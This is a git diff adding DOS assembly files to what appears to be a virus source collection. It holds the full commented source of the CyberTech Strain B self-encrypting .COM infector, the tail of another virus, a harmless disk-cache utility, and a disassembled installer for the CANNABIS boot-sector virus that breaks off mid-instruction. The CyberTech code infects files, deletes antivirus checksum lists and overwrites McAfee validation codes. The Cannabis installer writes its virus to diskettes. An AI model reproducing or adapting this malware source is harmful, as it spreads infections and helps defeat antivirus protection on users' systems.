35,16 + db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16 + db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16 + + db 80,96,80,96,80,96,80,96 + + db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16 + db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16 + db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16 + db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16,0 + + DB '-=CYBERCIDE=- 01-30-1993 * COPYRIGHT (C) 1992-93 A.N.O.I DEVELOPMENT' +get_rnd: + push dx + push cx + push bx + in al,40h ;'@' + add ax,0000 + mov dx,0000 + mov cx,0007 +rnd_init5: + shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_init6 + inc al +rnd_init6: + loop rnd_init5 + pop bx + mov al,dl + pop cx + pop dx +rnd_init_ret: + ret + +filelen dw offset eof - offset start +memlen dw 300 +filename db 25 dup(?) + +attribute dw ? +jmp_1 db 0e9h +jmp_2 dw ? +first_bytes db 90h,0cdh,20h + +eof: + end start \ No newline at end of file diff --git a/c/CYBTCH-B (53).ASM b/c/CYBTCH-B (53).ASM new file mode 100755 index 0000000..b7ae904 --- /dev/null +++ b/c/CYBTCH-B (53).ASM @@ -0,0 +1,500 @@ +; +; CyberTech Virus - Strain B John Tardy (C) 1992 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1993, the virus activated. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1994, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Si,Crypt[BP] ; Decrypt the virus with a + Mov Di,Si ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1993 is past time + Int 21h ; already + Cmp Cx,1994 ; + Jae Clean ; - 1994 or more + Jmp NoClean ; - Not 1994 or more + +; +; Main Cleanup procedure +; + +Clean: Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0 ; + Je Verder ; + Stosb ; + Loop Trans ; + +Verder: Stosb + Sub Di,12 + Push Cs + Pop Ds + Mov Ax,[Di][0] ; + Cmp Ax,'OC' + Jne Normal + Mov Ax,[Di][2] + Cmp Ax,'MM' + Jne Normal + Mov Ax,[Di][4] + Cmp Ax,'NA' + Jne Normal + Jmp Ready + +Normal: Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + + Mov Ah,40h ; write memory image of host + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; and shutdown virus + Lea Dx,Removed[Bp] ; + Int 21h ; + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,0fd1e[0] ; check if the file is + Cmp Ax,'OC' ; COMMAN?.COM (usually result + Jne NoCommand ; if COMMAND.COM) + Mov Ax,0fd1e[2] ; + Cmp Ax,'MM' ; + Jne NoCommand ; + Mov Ax,0fd1e[4] ; + Cmp Ax,'NA' ; + Jne NoCommand ; + + Mov Ax,4202h ; Jump to EOF + Call Fseek ; + + Cmp Ax,0f000h ; Check if file too large + Jae ExeFile + + Cmp Ax,VirS ; Check if file to short + jbe ExeFile + + Sub Ax,VirS + Xchg Cx,Dx + Mov Dx,4200h + Xchg Dx,Ax + Mov EOFminVir[BP],Dx + Int 21h + Mov Ah,3fh + Mov Dx,Offset Buffer + Mov Cx,VirS + Int 21h + Cld + Mov Si,Offset Buffer + Mov Cx,VirLen +On5: + Push Cx +On6: Lodsb + Cmp Al,0 + Jne On4 + Loop On6 +On4: Cmp Cx,0 + Je Found0 + + Pop Cx + Cmp Si,SeekLen + Jb On5 + Jmp NoCommand + +Found0: Pop Cx + Sub Si,Offset Buffer + Sub Si,Cx + Xor Cx,Cx + Mov Dx,EOFminVir[BP] + Add Dx,Si + + Mov Ax,4200h + Int 21h + Jmp CalcVirus + +EOFminVir Dw 0 + +NoCommand: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f000h ; Check if file too large + Jb NoExe1 ; if yes, goto exefile + Jmp ExeFile ; + +NoExe1: Cmp Ax,10 ; Check if file too short + Ja NoExe2 ; if yes, goto exefile + Jmp ExeFile ; + + +NoExe2: Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1994 +; + +;Removed Db 13,10,'Virus removed : ',13,10 + +Removed Db 13,10,'The previous year you have been infected by a virus' + Db 13,10,'without knowing or removing it. To be gentle to you' + Db 13,10,'I decided to remove myself from your system. I suggest' + Db 13,10,'you better buy ViruScan of McAfee to ensure yourself' + Db 13,10,'complete security of your precious data. Next time you' + Db 13,10,'could be infected with a malevolent virus.' + Db 13,10,10,'May I say goodbye to you for now....',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1994 +; + +Msg Db 13,10,'CyberTech Virus - Strain B' + Db 13,10,'(C) 1992 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + +Buffer Equ 0f040h ; buffer offset +VirS Equ VirLen*2 + +SeekLen Equ Buffer+Virs + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/Cache.asm b/c/Cache.asm new file mode 100755 index 0000000..84bd8c6 --- /dev/null +++ b/c/Cache.asm @@ -0,0 +1,255 @@ +INTERRUPTS SEGMENT AT 0H ;This is where the disk interrupt + ORG 13H*4 ;holds the address of its service routine +DISK_INT LABEL DWORD +INTERRUPTS ENDS + +CODE_SEG SEGMENT + ASSUME CS:CODE_SEG + ORG 100H ;ORG = 100H to make this into a .COM file +FIRST: JMP LOAD_CACHE ;First time through jump to initialize routine + + CPY_RGT DB '(C)1985 S.Holzner' ;A signature in bytes + TBL_LEN DW 64 ;<-- # OF SECTORS TO STORE IN CACHE, MIN=24, MAX=124. + ;THIS IS THE ONLY PLACE YOU MUST SET THIS NUMBER. EACH SECTOR = 512 BYTES. + TIME DW 0 ;Time used to time-stamp each sector + OLD_CX DW 0 ;Stores original value of CX (CX is used often) + LOW_TIM DW 0 ;Used in searching for least recently used sect. + INT13H DD 0 ;Stores the original INT 13H address + RET_ADR LABEL DWORD ;Playing games with the stack here to preserve + RET_ADR_WORD DW 2 DUP(0) ;flags returned by Int 13H + +DISK_CACHE PROC FAR ;The Disk interrupt will now come here. + ASSUME CS:CODE_SEG + CMP AX,201H ;Is this a read (AH=2) of 1 sector (AL=1)? + JE READ ;Yes, jump to Read + CMP AH,3 ;No. Perchance a write or format? + JB OLD_INT ;No, release control to old disk Int. + JMP WRITE ;Yes, jump to Write +OLD_INT:PUSHF ;Pushf for Int 13H's final Iret + CALL INT13H ;Call the Disk Int + JMP PAST ;And jump past all usual Pops +READ: PUSH BX ;Push just about every register ever heard of + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH DS + PUSH ES + MOV DI,BX ;Int 13H gets data address as ES:BX, switch to ES:DI + ASSUME DS:CODE_SEG ;Make sure all labels found correctly + PUSH CS ;Move CS into DS by pushing CS, popping DS + POP DS + MOV OLD_CX,CX ;Save original CX since we're about to use it + CMP DH,0 ;DH holds requested head -- head 0? + JNE NOT_FAT1 ;Nope, this can't be the first Fat sector + CMP CX,6 ;If this is the directory, check if we have a + JE FAT1 ; new disk. + CMP CX,2 ;Track 0 (CH)? Sector 2 (CL)? + JNE NOT_FAT1 ;If not, this sure isn't the FAT1 +FAT1: CALL FIND_MATCH ;DOS reads in this sector first to check disk format + JCXZ NONE ;We'll use it for a check-sum. Do we have it + MOV BX,DI ; stored yet? CX=0-->no. If yes, restore BX + MOV CX,OLD_CX ; and CX from original values + PUSHF ;And now do the Pushf and call of Int13H to read + CALL INT13H ; FAT1 + JC ERR ;If error, leave + MOV CX,256 ;No error, FAT1 was read, check our value +REPE CMPSW ; with CMPSW -- if no match, disk was changed + JCXZ BYE ;Everything checks out, Bingo, exit. + LEA SI,TABLE ;New Disk! Zero all the old disk's sectors + MOV CX,TBL_LEN ;Loop over all entries, DL holds drive # +CLR: CMP DS:[SI+2],DL ;Is this stored sector from the old disk? + JNE NO_CLR ;Nope, don't clear this entry + MOV WORD PTR DS:[SI],0 ;Match, zero this entry, zero first word +NO_CLR: ADD SI,518 ;Move on to next stored sector (512 bytes of stored + LOOP CLR ; sector and 3 words of identification & time-stamp) + JMP BYE ;Reset for new disk, let's leave +NONE: CALL STORE_SECTOR ;Store FAT1 if there was no match to it + JC ERR ;Error -- exit ungraciously + JMP BYE ;No Error, Bye. +NOT_FAT1: ;The requested sector was not FAT1. Let's + CALL FIND_MATCH ;get it. Or do we have it already? + JCXZ NO_MATCH ;No, jump to No_Match, store sector + MOV CX,512 ;ES:DI and DS:SI already set up from Find_Match +REP MOVSB ;Move 512 bytes to requested memory area + CMP WORD PTR [BX+4],0FFFFH ;Is this a a directory sector? + JE BYE ;Yes, don't reset time (already highest poss.) + INC TIME ;No, reset the time, this sector just accessed + MOV AX,TIME ;Move time into Time word of sector's 3 words + MOV [BX+4],AX ; of identification + JMP BYE ;And leave. If there's an article you'd like to +NO_MATCH: ;see, by all means write in C/O PC Magazine. + CALL STORE_SECTOR ;Don't have this sector yet, get it. + JC ERR ;If read failed, exit with error +BYE: CLC ;The exit point. Clear carry flag, set AX=1 + MOV AX,1 ; CY=0 --> no error, AH=0 --> error code = 0 +ERR: POP ES ;If error, preserve flags and AX with error code + POP DS ;Pop all conceivable registers (except AX) + POP SI + POP DI + POP DX + POP CX ;Now that the flags are set, we want to get the + POP BX ;old flags off the stack (put there by original +PAST: POP CS:RET_ADR_WORD ;Int call) To do that we save the return address + POP CS:RET_ADR_WORD[2] ;first and then pop the flags harmlessly + POP CS:OLD_CX ;into Old_CX, and then jump to RET_ADR. + JMP CS:RET_ADR ;Done with read. Now let's consider write. +WRITE: PUSH BX ;Push all registers, past and present + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH DS + PUSH ES + PUSH AX + CMP AX,301H ;Is this a write of one sector? + JNE NOSAVE ;No, don't save it in the sector bank + PUSH CS ;Yep, set DS (for call to Int13H label) and + POP DS ; write this sector out + PUSHF + CALL INT13H + JNC SAVE ;If there was an error we don't want to save sector + POP CS:OLD_CX ;Save AH error code, Pop old AX into Old_CX + JMP ERR ;And jump to an ignoble exit +SAVE: MOV OLD_CX,CX ;We're going to save this sector. + MOV DI,BX ;Set up DI for string move (to store written + CALL FIND_MATCH ; sector. Do we have it in memory? (set SI) + JCXZ LEAVE ;Nope, Leave (like above's Bye). + XCHG DI,SI ;Exchange destination and source + PUSH ES ;Set up DS:SI to point to where data written + POP DS ; from. We'll then use a string move + PUSH CS ;Set up ES so ES:DI points to sector bank + POP ES ; SI was set by Find_Match, Xchg'd into DI + MOV CX,512 ;Get ready to move 512 bytes +REP MOVSB ;Here we go +LEAVE: POP AX ;Here is the leave + JMP BYE ;Which only pops AX and then jumps to Bye +NOSAVE: PUSH CS ;More than 1 sector written, don't save but + POP DS ; do zero stored sectors that will be written + MOV AH,0 ;Use AX as loop index (AL=# of sectors to write) +TOP: PUSH CX ;Save CX since destroyed by Find_Match + CALL FIND_MATCH ;Do we have this one? + JCXZ NOPE ;Nope if CX = 0 + MOV WORD PTR [BX],0 ;There is a match, zero this sector +NOPE: POP CX ;Restore CX, the sector index + INC CL ;Move on to next one + DEC AX ;Decrement loop index + JNZ TOP ;And, unless that gives 0, go back again +POPS: POP AX ;Pop 'em all, starting with AX + POP ES + POP DS + POP SI + POP DI + POP DX + POP CX + POP BX + JMP OLD_INT ;And go back to OLD_INT for write. +DISK_CACHE ENDP + +FIND_MATCH PROC NEAR ;This routine finds a sector in the sector bank + PUSH AX ;And returns SI set to sector's entry, BX set + LEA SI,SECTORS ; to the beginning of the 'table' -- the 3 words + LEA BX,TABLE ;that precede all sectors. If there was no match + MOV AX,TBL_LEN ; CX=0. When Int13H called, CH=trk #, CL=sec. # + XCHG AX,CX ; DH=head #, DL=Drive #. Get Tbl_Len into CX +FIND: CMP DS:[BX],AX ;Compare stored sector's original AX to current + JNE NO ;If not, not. + CMP DS:[BX+2],DX ;If so, check DX of stored sector with current + JE GOT_IT ;Yes, there is a match, leave +NO: ADD BX,518 ;Point to next Table entry + ADD SI,518 ;And next sector too + LOOP FIND ;Keep looping until there is a match +GOT_IT: POP AX ;If there is no match, CX will be left 0 + RET ;Return +FIND_MATCH ENDP + +STORE_SECTOR PROC NEAR ;This routine, as it says, stores sectors + MOV BX,DI ;Original BX (ES:BX was original data address) + MOV CX,OLD_CX ; and CX restored (CX=trk#, Sector#) + PUSHF ;Pushf for Int 13H's Iret and call it + CALL INT13H + JNC ALL_OK ;If there was an exit, exit ignominiously + JMP FIN ;If error, leave CY flag set, code in AH, exit +ALL_OK: PUSH CX ;No error, push used registers + PUSH BX ; and find space for sector in sector bank + PUSH DX + LEA DI,SECTORS ;Point to sector bank + LEA BX,TABLE ; and Table + MOV CX,TBL_LEN ; and get ready to loop over all of them to +CHK0: CMP WORD PTR DS:[BX],0 ;find if there is an unused sector + JE FOUND ;If the first word is 0, use this sector + ADD DI,518 ;But this one isn't so update DI, SI and + ADD BX,518 ; loop again + LOOP CHK0 + MOV LOW_TIM,0FFFEH ;All sectors were filled, find least recently + LEA DI,SECTORS ; used and write over that one + LEA SI,TABLE + MOV CX,TBL_LEN ;Loop over all stored sectors +CHKTIM: MOV DX,LOW_TIM ;Compare stored sector to so-far low time + CMP [SI+4],DX + JA MORE_RECENT ;If this one is more recent, don't use it + MOV AX,DI ;This one is older than previous oldest + MOV BX,SI ;Store sector bank address (DI) and table + MOV DX,[SI+4] ; entry (now in SI) + MOV LOW_TIM,DX ;And update the Low Time to this one +MORE_RECENT: + ADD DI,518 ;Move on to next stored sector + ADD SI,518 ;And next table entry + LOOP CHKTIM ;Loop again until all covered + MOV DI,AX ;Get Sector bank address of oldest into DI +FOUND: POP DX ;Restore used registers + POP SI ;Old BX (data read-to-address) --> SI + POP CX + MOV [BX],CX ;Store the new CX as the sector's first word + MOV [BX+2],DX ;2nd word of Table is sector's DX + INC TIME ;Now find the new time + MOV AX,TIME ;Prepare to move it into 3rd word of Table + CMP DH,0 ;Is this directory or FAT? (time-->FFFF) + JNE SIDE1 ;If head is not 0, check other head + CMP CX,9 ;Head zero, trk# 0, first sector? (directory) + JLE DIR ;Yes, this is a piece we always want stored + JMP NOT_DIR ;No, definitely not FAT or directory +SIDE1: CMP DH,1 ;Head 1? + JNE NOT_DIR ;No, this is not File Alloc. Table or directory + CMP CX,2 ;Part of the top of the directory? + JA NOT_DIR ;No, go to Not_Dir and set time +DIR: MOV AX,0FFFFH ;Dir or FAT, set time high so always kept +NOT_DIR:MOV [BX+4],AX ;Not FAT or dir, store the incremented time + PUSH ES ;And now get the data to fill the sector + POP DS ;SI, DI already set. Now set ES and DS for + PUSH CS ; string move. + POP ES + MOV CX,512 ;Move 512 bytes +REP MOVSB ;Right here + CLC ;Clear the carry flag (no error) +FIN: RET ;Error exit here (do not reset CY flag) +STORE_SECTOR ENDP +TABLE: DW 3 DUP(0) ;Table and sector storage begins right here +SECTORS: ;First thing to write over is the following + ; booster program. +LOAD_CACHE PROC NEAR ;This procedure intializes everything + LEA BX,CLEAR + ASSUME DS:INTERRUPTS ;The data segment will be the Interrupt area + MOV AX,INTERRUPTS + MOV DS,AX + MOV AX,word ptr DISK_INT ;Get the old interrupt service routine + MOV word ptr INT13H,AX ; address and put it into our location MOV AX,word ptr DISK_INT[2] + ; INT13H so we can call it. + MOV word ptr INT13H[2],AX + MOV word ptr DISK_INT,OFFSET DISK_CACHE ;Now load address of Cache + MOV word ptr DISK_INT[2],CS ;routine into the Disk interrupt + MOV AX,TBL_LEN ;The number of sectors to store in cache + MOV CX,518 ;Multiply by 518 (3 words of id and 512 + MUL CX ; bytes of sector data) + MOV CX,AX ;Also, zero all the bytes so that +ZERO: MOV BYTE PTR CS:[BX],0 ; Store_Sector will find 1st word a 0, + INC BX ; indicating virgin territory. + LOOP ZERO + MOV DX,OFFSET TABLE ;To attach in memory, add # bytes to + ADD DX,AX ;store to Table's location and use + INT 27H ; Int 27H +LOAD_CACHE ENDP +CLEAR: + CODE_SEG ENDS + END FIRST ;END "FIRST" so 8088 will go to FIRST first. + \ No newline at end of file diff --git a/c/Cannab3i.asm b/c/Cannab3i.asm new file mode 100755 index 0000000..c6d1a17 --- /dev/null +++ b/c/Cannab3i.asm @@ -0,0 +1,280 @@ + +PAGE 59,132 + +; +; +; CANNAB3 +; +; Created: 6-Jun-92 +; Passes: 5 Analysis Options on: none +; +; + +data_3e equ 43Fh +data_14e equ 5Ch +data_15e equ 78h +data_23e equ 7C0Bh ;* +data_24e equ 7C11h ;* +data_25e equ 7C13h ;* +data_26e equ 7C15h ;* +data_27e equ 7C16h ;* +data_28e equ 7C18h ;* +data_29e equ 7C20h ;* +data_30e equ 7C3Eh ;* +data_31e equ 7C49h ;* +data_32e equ 7C50h ;* +data_33e equ 7DAFh ;* +data_34e equ 7DB3h ;* +data_35e equ 7E0Bh ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +cannab3 proc far + +start: + mov dx,13Dh + dec byte ptr ds:data_14e + js loc_3 ; Jump if sign=1 + mov dx,155h + call sub_1 + xor ah,ah ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + and al,0DFh + cmp al,59h ; 'Y' + jne loc_ret_4 ; Jump if not equal + mov dl,0 + mov ah,0 + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + jc loc_2 ; Jump if carry Set + mov dx,1E6h + call sub_1 + mov cx,1 + mov bx,offset data_20 + mov ax,301h + cwd ; Word to double word + int 13h ; Disk dl=drive a ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jnc loc_ret_4 ; Jump if carry=0 +loc_2: + mov dx,offset data_16+0B7h ; ('') + +cannab3 endp + +; +; SUBROUTINE +; + +sub_1 proc near +loc_3: + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + +loc_ret_4: + retn +sub_1 endp + +data_16 db 'Usage: A:', 0Dh, 0Ah + db '$' + db 'You are about to install a VIRUS' + db ' on your diskette!!!', 0Dh, 0Ah, 'I' + db 'nsert a formatted 360K diskette ' + db 'into the drive.', 0Dh, 0Ah, 'Are' + db ' you sure you want to proceed (y' + db '/N)? $' + db 0Dh, 0Ah, 0Ah, 'Writing...$' + db 0Dh, 0Ah, 'Error !!!' + db 7 +data_19 db 24h +data_20 db 0EBh + db 3Ch, 90h + db 'CANNABIS' + db 00h, 02h, 02h, 01h, 00h, 02h + db 70h, 00h + db 0D0h, 02h,0FDh, 02h, 00h, 09h + db 00h, 02h, 00h + db 34 dup (0) + db 0FAh,0FCh, 33h,0C0h, 8Eh,0D8h + db 8Eh,0D0h,0BCh, 00h, 7Ch,0BBh + db 58h, 7Dh,0A1h, 4Ch, 00h, 3Bh + db 0C3h, 74h, 2Dh,0A3h,0AFh, 7Dh + db 0A1h, 4Eh, 00h,0A3h,0B1h, 7Dh + db 0BFh, 00h, 04h, 8Bh, 45h, 13h + db 48h, 89h, 45h, 13h,0B1h, 06h + db 0D3h,0E0h, 2Dh,0C0h, 07h, 8Eh + db 0C0h,0B9h, 00h, 02h, 8Bh,0F4h + db 8Bh,0FCh,0F3h,0A4h, 89h, 1Eh + db 4Ch, 00h, 8Ch, 06h, 4Eh, 00h + db 33h,0C0h, 16h, 07h + db 0BBh, 78h, 00h, 36h,0C5h, 37h + db 1Eh, 56h, 16h + db 53h + db 0BFh, 3Eh, 7Ch,0B9h, 0Bh, 00h + db 0F3h,0A4h, 06h, 1Fh,0C6h, 45h + db 0FEh, 0Fh, 8Bh, 0Eh, 18h, 7Ch + db 88h, 4Dh,0F9h, 89h, 47h, 02h + db 0C7h, 07h, 3Eh, 7Ch,0FBh,0CDh + db 13h, 72h, 48h, 33h,0C0h, 8Bh + db 0Eh, 13h, 7Ch, 89h, 0Eh, 20h + db 7Ch,0A1h, 16h, 7Ch,0D1h,0E0h + db 40h,0A3h, 50h, 7Ch,0A3h, 49h + db 7Ch,0A1h, 11h, 7Ch,0B1h, 04h + db 0D3h,0E8h, 01h, 06h, 49h, 7Ch + db 0BBh, 00h, 05h,0A1h, 50h, 7Ch + db 0E8h, 58h, 00h, 72h, 1Ch, 81h + db 3Fh, 49h, 4Fh, 75h, 09h, 81h + db 7Fh, 20h, 4Dh, 53h, 74h, 22h + db 0EBh + db 0Dh +loc_7: + cmp word ptr [bx],4249h + jne loc_8 ; Jump if not equal + cmp word ptr [bx+20h],4249h + je loc_9 ; Jump if equal +loc_8: + mov si,data_34e + call sub_3 + xor ax,ax ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + pop si + pop ds + pop word ptr [si] + pop word ptr [si+2] + int 19h ; Bootstrap loader +loc_9: + mov bx,700h + mov cx,3 + mov ax,word ptr ds:[7C49h] + +locloop_10: + call sub_2 + jc loc_8 ; Jump if carry Set + inc ax + add bx,offset data_19 + loop locloop_10 ; Loop if cx > 0 + + mov ch,byte ptr ds:[7C15h] + mov 